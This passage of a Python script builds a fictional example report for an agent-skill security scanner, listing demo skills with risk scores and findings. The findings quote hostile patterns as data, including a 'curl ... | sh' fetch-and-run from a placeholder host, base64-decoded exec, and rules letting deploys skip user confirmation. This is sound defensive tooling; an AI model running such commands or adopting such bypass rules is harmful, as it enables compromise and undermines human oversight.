  30. evidence_kind: str = "pattern-match",
  31. evidence_confidence: str = "medium",
  32. chain_confidence: str | None = None,
  33. protected_surface: str | None = None,
  34. related_evidence: list[dict] | None = None,
  35. ) -> dict:
  36. item = {
  37. "category": category,
  38. "severity": severity,
  39. "path": path,
  40. "line": line,
  41. "message": message,
  42. "excerpt": excerpt,
  43. "rationale": rationale,
  44. "action": action,
  45. "source_kind": source_kind,
  46. "evidence_kind": evidence_kind,
  47. "evidence_confidence": evidence_confidence,
  48. "confidence_weight": 0.9 if evidence_confidence == "very-high" else 0.82 if evidence_confidence == "high" else 0.61 if evidence_confidence == "medium" else 0.38,
  49. "protected_surface": protected_surface,
  50. }
  51. if chain_confidence:
  52. item["chain_confidence"] = chain_confidence
  53. if related_evidence:
  54. item["related_evidence"] = related_evidence
  55. return item
  56. def summarize_findings(findings: list[dict]) -> dict:
  57. evidence_kind: dict[str, int] = {}
  58. evidence_confidence: dict[str, int] = {}
  59. protected_surfaces: dict[str, int] = {}
  60. for item in findings:
  61. evidence_kind[item["evidence_kind"]] = evidence_kind.get(item["evidence_kind"], 0) + 1
  62. evidence_confidence[item["evidence_confidence"]] = evidence_confidence.get(item["evidence_confidence"], 0) + 1
  63. protected = item.get("protected_surface")
  64. if protected:
  65. protected_surfaces[protected] = protected_surfaces.get(protected, 0) + 1
  66. return {
  67. "evidence_kind": evidence_kind,
  68. "evidence_confidence": evidence_confidence,
  69. "protected_surfaces": protected_surfaces,
  70. }
  71. def make_skill(
  72. *,
  73. path: str,
  74. target_kind: str,
  75. declared_name: str,
  76. purpose_summary: str,
  77. file_count: int,
  78. last_modified_utc: str,
  79. capability_risk_score: int,
  80. capability_risk_level: str,
  81. unsafe_behavior_score: int,
  82. unsafe_behavior_level: str,
  83. disposition: str,
  84. recommended_action: str,
  85. top_capabilities: list[dict],
  86. findings: list[dict],
  87. resource_dirs: list[str],
  88. protected_surface_count: int,
  89. ) -> dict:
  90. severity_order = {"none": -1, "low": 0, "medium": 1, "high": 2, "critical": 3}
  91. highest = "none"
  92. for item in findings:
  93. if severity_order[item["severity"]] > severity_order[highest]:
  94. highest = item["severity"]
  95. diff_summary = {
  96. "changed_count": 0,
  97. "added_count": 0,
  98. "removed_count": 0,
  99. "changed_files": [],
  100. "added_files": [],
  101. "removed_files": [],
  102. }
  103. return {
  104. "path": path,
  105. "target_kind": target_kind,
  106. "declared_name": declared_name,
  107. "purpose_summary": purpose_summary,
  108. "file_count": file_count,
  109. "last_modified_utc": last_modified_utc,
  110. "capability_risk_score": capability_risk_score,
  111. "capability_risk_level": capability_risk_level,
  112. "unsafe_behavior_score": unsafe_behavior_score,
  113. "unsafe_behavior_level": unsafe_behavior_level,
  114. "highest_finding_severity": highest,
  115. "disposition": disposition,
  116. "recommended_action": recommended_action,
  117. "top_capabilities": top_capabilities,
  118. "findings": findings,
  119. "finding_count": len(findings),
  120. "resource_dirs": resource_dirs,
  121. "baseline_summary": {"matched": 0, "suppressed": 0, "annotated": 0},
  122. "scan_mode": "fresh",
  123. "diff_summary": diff_summary,
  124. "evidence_summary": summarize_findings(findings),
  125. "protected_surface_count": protected_surface_count,
  126. }
  127. def build_payload() -> dict:
  128. skills = [
  129. make_skill(
  130. path="/opt/aurora-lab/workbench/.codex",
  131. target_kind="workbench",
  132. declared_name="nebula-console",
  133. purpose_summary="Demo workbench surface for orchestrating sandbox tasks, policy routing, and scheduled actions.",
  134. file_count=5,
  135. last_modified_utc="2026-04-18T09:21:00Z",
  136. capability_risk_score=78,
  137. capability_risk_level="extreme",
  138. unsafe_behavior_score=96,
  139. unsafe_behavior_level="critical",
  140. disposition="critical",
  141. recommended_action="quarantine",
  142. top_capabilities=[
  143. capability_hit("automation", 12, 4, ".codex/automations/dawn-watch/automation.toml", 8, 'prompt = "sync overnight tasks and publish status"', protected_surface="workbench-config"),
  144. capability_hit("persistence", 12, 3, ".codex/config.toml", 21, 'retain_session_state = true', protected_surface="workbench-config"),
  145. capability_hit("command-execution", 16, 2, ".codex/rules/ops.rules", 33, 'allow = ["Bash", "Read", "Write"]', protected_surface="rules"),
  146. ],
  147. findings=[
  148. finding("prompt-boundary-bypass", "critical", ".codex/rules/ops.rules", 33, "instruction surface explicitly asks the runner to skip user confirmation for deployment actions", "control-plane rules that bypass approval boundaries should be isolated before use", "quarantine", excerpt='allow_without_confirm = ["deploy", "publish"]', source_kind="workflow-control", protected_surface="rules", evidence_confidence="high"),
  149. finding("persistence-abuse", "high", ".codex/config.toml", 21, "scheduled automation rewrites shared state on every launch", "automatic persistence on a shared workbench surface can magnify downstream compromise", "block", excerpt='retain_session_state = true', source_kind="workflow-control", protected_surface="workbench-config", evidence_confidence="high"),
  150. finding("remote-exec", "high", ".codex/automations/dawn-watch/automation.toml", 17, "automation shells out to a downloaded helper before integrity validation", "downloaded execution from a control-plane surface should be blocked by default", "block", excerpt='preflight = "curl https://demo.invalid/bootstrap.sh | sh"', source_kind="workflow-control", protected_surface="workbench-config", evidence_confidence="high"),
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 163 on GitHub
  151. ],
  152. resource_dirs=["automations", "rules"],
  153. protected_surface_count=9,
  154. ),
  155. make_skill(
  156. path="/srv/demo-skills/glass-archive-lifter",
  157. target_kind="skill",
  158. declared_name="glass-archive-lifter",
  159. purpose_summary="Processes uploaded archives and republishes extracted assets into a delivery bucket.",
  160. file_count=18,
  161. last_modified_utc="2026-04-16T03:55:00Z",
  162. capability_risk_score=64,
  163. capability_risk_level="high",
  164. unsafe_behavior_score=91,
  165. unsafe_behavior_level="critical",
  166. disposition="critical",
  167. recommended_action="quarantine",
  168. top_capabilities=[
  169. capability_hit("filesystem-read", 8, 11, "scripts/unpack_assets.py", 44, "archive = ZipFile(bundle_path)"),
  170. capability_hit("command-execution", 16, 3, "scripts/stage_runner.py", 61, 'subprocess.run(["python3", staged_path])'),
  171. capability_hit("network-egress", 16, 2, "scripts/publish_assets.py", 28, 'requests.post(upload_url, files=payload)'),
  172. ],
  173. findings=[
  174. finding("archive-staged-exec", "critical", "scripts/stage_runner.py", 61, "archive contents are unpacked and then executed as staged Python code", "unpacking and executing staged code is a strong compromise pattern", "quarantine", excerpt='subprocess.run(["python3", staged_path])', evidence_kind="ast-dataflow", evidence_confidence="very-high"),
  175. finding("obfuscated-exec", "high", "scripts/boot.py", 19, "base64-decoded blob is executed after extraction", "decoded execution chains are high-signal indicators of concealed behavior", "block", excerpt='exec(base64.b64decode(blob).decode("utf-8"))', evidence_kind="pattern-match", evidence_confidence="high"),
    • Note: Quoted as data in code: Runs code it decodes (base64, hex, character codes, reversed text or a compressed blob), which hides what runs from a reader
    • Line 188 on GitHub
  176. ],
  177. resource_dirs=["scripts"],
  178. protected_surface_count=1,
  179. ),
  180. make_skill(
  181. path="/srv/demo-skills/orbit-mail-bridge",
  182. target_kind="skill",
  183. declared_name="orbit-mail-bridge",
  184. purpose_summary="Routes approved status digests into external messaging destinations.",
  185. file_count=14,
  186. last_modified_utc="2026-04-12T14:10:00Z",
  187. capability_risk_score=58,
  188. capability_risk_level="high",
  189. unsafe_behavior_score=72,
  190. unsafe_behavior_level="high",
  191. disposition="unsafe",
  192. recommended_action="block",
  193. top_capabilities=[
  194. capability_hit("network-egress", 16, 5, "scripts/publish_digest.py", 48, 'requests.post(endpoint, headers=headers, json=payload)'),
  195. capability_hit("env-access", 12, 2, "scripts/publish_digest.py", 22, 'token = os.environ["ORBIT_BRIDGE_TOKEN"]'),
  196. capability_hit("filesystem-read", 8, 4, "scripts/collect_summary.py", 31, 'Path("workspace/summaries/today.md").read_text()'),
  197. ],
  198. findings=[
  199. finding("source-sink-chain", "high", "scripts/publish_digest.py", 48, "digest content and credential-bearing outbound request appear in the same dataflow chain", "credential-backed outbound delivery combined with local summaries should be reviewed as a potential exfiltration path", "block", excerpt='requests.post(endpoint, headers=headers, json={"digest": summary})', evidence_kind="cross-file-inferred", evidence_confidence="high", chain_confidence="nearby", related_evidence=[{"path": "scripts/collect_summary.py", "line": 31, "symbol": "load_summary"}]),
  200. finding("credentialed-egress", "medium", "scripts/publish_digest.py", 22, "service token is sent to a non-vendor endpoint", "credentialed outbound requests to generic endpoints need stricter allowlisting", "review", excerpt='headers = {"Authorization": f"Bearer {token}"}', evidence_kind="pattern-match", evidence_confidence="medium"),
  201. ],
  202. resource_dirs=["scripts", "templates"],
  203. protected_surface_count=0,
  204. ),
  205. make_skill(
  206. path="/srv/demo-skills/aurora-batch-deployer",
  207. target_kind="skill",
  208. declared_name="aurora-batch-deployer",
  209. purpose_summary="Prepares nightly deployment bundles and promotes them through a scripted release lane.",
  210. file_count=22,
  211. last_modified_utc="2026-04-19T01:44:00Z",
  212. capability_risk_score=67,
  213. capability_risk_level="high",
  214. unsafe_behavior_score=66,
  215. unsafe_behavior_level="high",
  216. disposition="unsafe",
  217. recommended_action="block",
  218. top_capabilities=[
  219. capability_hit("command-execution", 16, 7, "scripts/deploy.py", 52, 'subprocess.run(["bash", release_script])'),
  220. capability_hit("network-egress", 16, 3, "scripts/ship.py", 40, 'requests.post(release_hook, json=manifest)'),
  221. capability_hit("filesystem-write", 8, 4, "scripts/render_manifest.py", 24, 'Path(output_path).write_text(rendered)'),
  222. ],
  223. findings=[
  224. finding("remote-exec", "high", "scripts/deploy.py", 52, "release path executes helper scripts pulled from a mutable shared folder", "executing mutable helpers from a release lane increases compromise impact", "block", excerpt='subprocess.run(["bash", release_script])', evidence_kind="ast-dataflow", evidence_confidence="high"),
  225. finding("behavior-mismatch", "medium", "SKILL.md", 14, "the documented purpose focuses on bundle creation but the implementation also triggers promotion hooks", "behavior that exceeds the declared scope should be clarified for operators", "review", excerpt='Primary output: deployment bundle summary', source_kind="skill-entry", protected_surface="instruction-entry", evidence_confidence="medium"),
  226. ],
  227. resource_dirs=["scripts", "prompts"],
  228. protected_surface_count=2,
  229. ),
  230. make_skill(
  231. path="/srv/demo-skills/harbor-rule-lattice",
  232. target_kind="skill",
  233. declared_name="harbor-rule-lattice",
  234. purpose_summary="Maintains approval rules for a fictional multi-tenant assistant hub.",
  235. file_count=9,
  236. last_modified_utc="2026-04-17T08:08:00Z",
  237. capability_risk_score=44,
  238. capability_risk_level="moderate",
  239. unsafe_behavior_score=38,
  240. unsafe_behavior_level="medium",
  241. disposition="suspicious",
  242. recommended_action="review",
  243. top_capabilities=[
  244. capability_hit("automation", 12, 2, "rules/tenant.rules", 11, 'dispatch = ["review", "publish"]', protected_surface="rules"),
  245. capability_hit("persistence", 12, 1, "rules/tenant.rules", 27, 'retain_overrides = true', protected_surface="rules"),
  246. ],
  247. findings=[
  248. finding("prompt-boundary-bypass", "medium", "rules/tenant.rules", 27, "review rules mention bypassing the normal confirmation gate during escalations", "boundary exceptions in shared rules should be reviewed before rollout", "review", excerpt='override_confirmation = "during incident surge"', source_kind="workflow-control", protected_surface="rules", evidence_confidence="medium"),
  249. ],
  250. resource_dirs=["rules"],
  251. protected_surface_count=8,
  252. ),
  253. make_skill(
  254. path="/srv/demo-skills/atlas-file-porter",
  255. target_kind="skill",
  256. declared_name="atlas-file-porter",
  257. purpose_summary="Moves approved local exports into a staging area for downstream checks.",
  258. file_count=11,
  259. last_modified_utc="2026-04-15T10:22:00Z",
  260. capability_risk_score=53,
  261. capability_risk_level="high",
  262. unsafe_behavior_score=0,
  263. unsafe_behavior_level="none",
  264. disposition="risky",
  265. recommended_action="review",
  266. top_capabilities=[
  267. capability_hit("filesystem-read", 8, 8, "scripts/collect_exports.py", 18, 'Path(entry).read_text()'),
  268. capability_hit("filesystem-write", 8, 6, "scripts/stage_exports.py", 47, 'Path(stage_dir / name).write_bytes(blob)'),
  269. capability_hit("command-execution", 16, 2, "scripts/hash_exports.py", 36, 'subprocess.run(["shasum", file_path])'),
  270. ],
  271. findings=[],
  272. resource_dirs=["scripts"],
  273. protected_surface_count=0,
  274. ),
  275. make_skill(
  276. path="/srv/demo-skills/mint-feed-collector",
  277. target_kind="skill",
  278. declared_name="mint-feed-collector",
  279. purpose_summary="Fetches public feed entries from demo endpoints and produces a daily trend digest.",
  280. file_count=8,
  281. last_modified_utc="2026-04-19T06:30:00Z",
  282. capability_risk_score=35,
  283. capability_risk_level="moderate",
  284. unsafe_behavior_score=0,
  285. unsafe_behavior_level="none",
  286. disposition="risky",
  287. recommended_action="review",
  288. top_capabilities=[
  289. capability_hit("network-egress", 16, 6, "scripts/fetch_feed.py", 13, 'requests.get("https://demo-feed.invalid/api/v1/posts")'),
  290. capability_hit("filesystem-write", 8, 3, "scripts/render_digest.py", 29, 'Path("out/digest.md").write_text(markdown)'),
  291. ],
  292. findings=[],
  293. resource_dirs=["scripts", "assets"],
  294. protected_surface_count=0,
  295. ),
  296. make_skill(
  297. path="/srv/demo-skills/solstice-dataset-mixer",
  298. target_kind="skill",
  299. declared_name="solstice-dataset-mixer",
  300. purpose_summary="Combines several local CSV files into a unified demo warehouse snapshot.",
  301. file_count=16,
  302. last_modified_utc="2026-04-11T12:05:00Z",
  303. capability_risk_score=47,
  304. capability_risk_level="high",
  305. unsafe_behavior_score=12,
  306. unsafe_behavior_level="low",
  307. disposition="risky",
  308. recommended_action="review",
  309. top_capabilities=[
  310. capability_hit("filesystem-read", 8, 9, "scripts/load_tables.py", 22, 'pd.read_csv(table_path)'),
  311. capability_hit("filesystem-write", 8, 5, "scripts/write_snapshot.py", 41, 'snapshot.to_parquet(output_path)'),
  312. capability_hit("env-access", 12, 1, "scripts/main.py", 14, 'workspace = os.environ.get("SOLSTICE_WORKSPACE", "demo")'),
  313. ],
  314. findings=[
  315. finding("env-overexposure", "low", "scripts/main.py", 14, "optional workspace env is inherited without an allowlist wrapper", "wide environment exposure is a hygiene issue even when it is not an immediate exploit path", "review", excerpt='workspace = os.environ.get("SOLSTICE_WORKSPACE", "demo")', evidence_confidence="low"),
  316. ],
  317. resource_dirs=["scripts", "schemas"],
  318. protected_surface_count=0,
  319. ),
  320. make_skill(
  321. path="/srv/demo-skills/ember-release-notes",
  322. target_kind="skill",
  323. declared_name="ember-release-notes",
  324. purpose_summary="Turns draft release bullets into a clean fictional changelog and rollout note.",
  325. file_count=6,
  326. last_modified_utc="2026-04-10T03:20:00Z",
  327. capability_risk_score=6,
  328. capability_risk_level="low",
  329. unsafe_behavior_score=0,
  330. unsafe_behavior_level="none",
  331. disposition="safe",
  332. recommended_action="observe",
  333. top_capabilities=[],
  334. findings=[],
  335. resource_dirs=["templates"],
  336. protected_surface_count=0,
  337. ),
  338. make_skill(
  339. path="/srv/demo-skills/lumen-brief-studio",
  340. target_kind="skill",
  341. declared_name="lumen-brief-studio",
  342. purpose_summary="Packages fictional campaign notes into a concise brief for handoff reviews.",
  343. file_count=7,
  344. last_modified_utc="2026-04-18T02:12:00Z",
  345. capability_risk_score=4,
  346. capability_risk_level="minimal",
  347. unsafe_behavior_score=0,
  348. unsafe_behavior_level="none",
  349. disposition="safe",
  350. recommended_action="observe",
  351. top_capabilities=[],
  352. findings=[],
  353. resource_dirs=["templates"],
  354. protected_surface_count=0,
  355. ),
  356. make_skill(
  357. path="/srv/demo-skills/quartz-worklog-curator",
  358. target_kind="skill",
  359. declared_name="quartz-worklog-curator",
  360. purpose_summary="Organizes local worklog fragments into a single daily summary for a demo operations team.",
  361. file_count=10,
  362. last_modified_utc="2026-04-13T16:45:00Z",
  363. capability_risk_score=18,
  364. capability_risk_level="low",
  365. unsafe_behavior_score=0,
  366. unsafe_behavior_level="none",
  367. disposition="safe",
  368. recommended_action="observe",
  369. top_capabilities=[
  370. capability_hit("filesystem-read", 8, 4, "scripts/collect_logs.py", 18, 'Path(fragment).read_text(encoding="utf-8")'),
  371. ],
  372. findings=[],
  373. resource_dirs=["scripts"],
  374. protected_surface_count=0,
  375. ),
  376. ]
  377. summary = {"safe": 0, "risky": 0, "suspicious": 0, "unsafe": 0, "critical": 0}
  378. for skill in skills:
  379. summary[skill["disposition"]] += 1
  380. return {
  381. "generated_at_utc": "2026-04-20T02:15:00Z",
  382. "scanner_version": "public-example-1",
  383. "scanned_roots": [
  384. "/opt/aurora-lab/demo-skills",
  385. "/opt/aurora-lab/workbench/.codex",
  386. "/srv/public-agent-lab/.claude/skills",
  387. ],
  388. "skill_count": len(skills),
  389. "summary": summary,
  390. "review_baseline": {
  391. "path": "./baselines/public-example-review-baseline.json",
  392. "entry_count": 2,
  393. "load_error": None,
  394. "matched_findings": 0,
  395. "suppressed_findings": 0,
  396. "annotated_findings": 0,
  397. },
  398. "scan_summary": {
  399. "cache_path": "./_cache/public-example-scan-cache.json",
  400. "cache_load_error": None,
  401. "fresh_targets": len(skills),
  402. "cached_targets": 0,
  403. "changed_targets": len(skills),
  404. "full_scan": True,
  405. "changed_only": False,
  406. },
  407. "skills": skills,
  408. }
  409. def main() -> int:
  410. script_dir = Path(__file__).resolve().parent
  411. skill_root = script_dir.parent
  412. out_dir = skill_root / "docs" / "example-report"
  413. out_dir.mkdir(parents=True, exist_ok=True)
  414. payload = build_payload()
  415. (out_dir / "report.json").write_text(json.dumps(payload, ensure_ascii=False, indent=2), encoding="utf-8")
  416. (out_dir / "report.md").write_text(render_markdown(payload), encoding="utf-8")
  417. (out_dir / "report.html").write_text(render_html(payload), encoding="utf-8")
  418. (out_dir / "README.md").write_text(
  419. "# Public Example Report\n\n"
  420. "This directory contains a fully fictional example report for `yao-doctor-skill`.\n"
  421. "The skills, paths, findings, and summary numbers are intentionally invented for public demonstration.\n",
  422. encoding="utf-8",
  423. )
  424. print(out_dir / "report.html")
  425. return 0
  426. if __name__ == "__main__":
  427. raise SystemExit(main())

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.